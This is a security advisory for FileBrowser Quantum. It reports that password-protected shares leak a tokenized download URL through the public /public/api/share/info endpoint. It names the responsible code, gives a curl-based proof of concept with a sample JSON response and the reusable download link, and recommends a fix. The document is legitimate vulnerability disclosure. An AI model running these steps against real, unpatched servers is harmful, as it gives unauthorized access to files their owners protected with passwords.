GHSA-525j-95gf-766f FileBrowser Quantum: Password-Protected Share Bypass via /public/api/share/info

• Go github.com/gtsteffaniak/filebrowser/backend: < 0.0.0-20260307130210-09713b32a5f6 → fixed in 0.0.0-20260307130210-09713b32a5f6

Summary The remediation for CVE-2026-27611 appears incomplete. Password protected shares still disclose tokenized downloadURL via /public/api/share/info in docker image gtstef/filebrowser:1.3.1-webdav-2. Details The issue stems from two flaws: 1. Tokenized download URLs are written into the persistent share model ``` backend/http/share.go convertToFrontendShareResponse(line 63) s.DownloadURL = getShareURL(r, s.Hash, true, s.Token) ``` 2. The public endpoint: ``` GET /public/api/share/info returns shareLink.CommonShare without clearing DownloadURL. ``` Since Token is set for password-protected shares, and getShareURL(..., true, token) embeds it as a query parameter, the public API discloses a valid bearer download capability. The previous patch removed token generation in one handler but did not address the persisted DownloadURL values/Public reflection of existing DownloadURL PoC 1. Create a password protected share as an authenticated user 2. Copy the public share URL (the clipboard WITHOUT an arrow) `http://yourdomain/public/share/yoursharedhash` Example: `http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw` 3. Query the public share endpoint via curl request: `curl 'http://yourdomain/public/api/share/info?hash=(your-share-hash)' -H 'Accept: */*' ` Example: `curl 'http://yourdomain/public/api/share/info?hash=2EBGbXgXg5dpw-nK0RG6vw' -H 'Accept: */*' ` Response includes: ``` { "shareTheme": "default", "title": "Shared files - test.md", "description": "A share has been sent to you to view or download.", "disableSidebar": false, "downloadURL": "http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw\u0026token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D", "shareURL": "http://yourdomain/public/share/2EBGbXgXg5dpw-nK0RG6vw", "enforceDarkLightMode": "default", "viewMode": "normal", "shareType": "normal", "sidebarLinks": [ { "name": "Share QR Code and Info", "category": "shareInfo", "target": "#", "icon": "qr_code" }, { "name": "Download", "category": "download", "target": "#", "icon": "download" }, { "name": "sourceLocation", "category": "custom", "target": "/srv/test.md", "icon": "" } ], "hasPassword": true, "disableLoginOption": false, "sourceURL": "/srv/test.md" } ``` Note the response "hasPassword": true and downloadURL includes token= parameter 4. Take the downloadURL(seen in json data response) and replace \u0026 with & and paste link into Incognito or private browser to ensure cookies are not interfering Example: `http://yourdomain/public/api/resources/download?hash=2EBGbXgXg5dpw-nK0RG6vw&token=EGGYjfyMgqlqknDAIjXekI3DXJ40Nxht.5-q3gnZVbeJ1KYTc-gLb04N6smp-AH2-d4AUFLXgQ6I%3D` Browser downloads file immediately without requiring password Impact An unauthenticated attacker can retrieve password protected shared files without the password. Results in authentication bypass, unauthorized file access and confidentiality compromise Recommended Remediation Sanitize DownloadURL in public share info responses via `commonShare.DownloadURL = ""` before returning the json response in shareInfoHandler method located in backend/share.go Structural fix, only generate tokenized URLs after successful password validation